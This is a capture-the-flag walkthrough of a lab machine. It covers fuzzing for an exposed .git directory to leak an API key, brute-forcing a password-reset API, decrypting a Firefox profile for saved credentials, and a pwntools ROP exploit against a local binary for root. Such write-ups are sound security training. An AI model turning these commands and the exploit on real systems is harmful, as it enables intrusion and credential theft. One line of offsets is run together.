Initial Reconnaissance
An nmap scan reveals three open ports:
- SSH on port 22 (OpenSSH 7.6p1)
- HTTP on port 80 (Apache 2.4.29)
- HTTP on port 8081 (Werkzeug/Python 3.6.9)
Web Enumeration
On port 8081, a login page and /forget endpoint were discovered. The forgot-password functionality required an API key that was missing from the implementation. JavaScript source at /static/js/forget.js confirmed the API key was necessary.
Finding the API Key
Directory enumeration on port 80 revealed an /old directory. Further fuzzing uncovered a .git repository:
gobuster dir -u chronicle.thm -w /usr/share/wordlists/dirb/common.txt -t 20 -x php,html,bak,txt,db,zip
ffuf -u http://chronicle.thm/old/FUZZ -w raft-large-directories-lowercase.txt
wget --recursive http://chronicle.thm/old/.git --continue
Git history analysis exposed the API key: 7454c262d0d5a3a0c0b678d6c0dbc7ef
Username Brute Force
With the API key, the forgot-password endpoint was tested. Since the correct username was unknown, ffuf was used to brute force it:
ffuf -w /opt/SecLists/Passwords/Common-Credentials/10k-most-common.txt -X POST \
-d '{"key":"7454c262d0d5a3a0c0b678d6c0dbc7ef"}' \
-u http://chronicle.thm:8081/api/FUZZ -fw 2
This yielded credentials for user tommy.
SSH Access & Further Enumeration
SSH access was gained with tommy's credentials. Linpeas revealed little, but a .mozilla directory in carlJ's home contained a Firefox profile.
Firefox Credential Extraction
The Firefox default release profile was extracted and decrypted using firefox_decrypt.py:
wget --recursive chronicle.thm:8000/0ryxwn4c.default-release --continue
python3 firefox_decrypt.py 0ryxwn4c.default-release
The password prompt was satisfied with "password1", revealing credentials for user carlj.
Buffer Overflow Exploitation
As carlJ, a binary named smail was discovered in the Mailing directory. Testing with input exceeding 80 characters triggered a segmentation fault, indicating a buffer overflow vulnerability. Exploit development required:
- libc base address:
0x00007ffff79e2000 /bin/shoffset:1b3e1asystem()offset:0x4f550- ROP gadget for rdi control:
0x4007f3 - Return address:
0x400556
Final Exploit
from pwn import *
p = process('./smail')
base = 0x7ffff79e2000
sys = base + 0x4f550
binsh = base + 0x1b3e1a
rop_rdi = 0x4007f3
payload = b'A' * 72
payload += p64(0x400556)
payload += p64(rop_rdi)
payload += p64(binsh)
payload += p64(sys)
payload += p64(0x0)
p.clean()
p.sendline("2")
p.sendline(payload)
p.interactive()
This ROP chain executed /bin/sh with elevated privileges, achieving root access.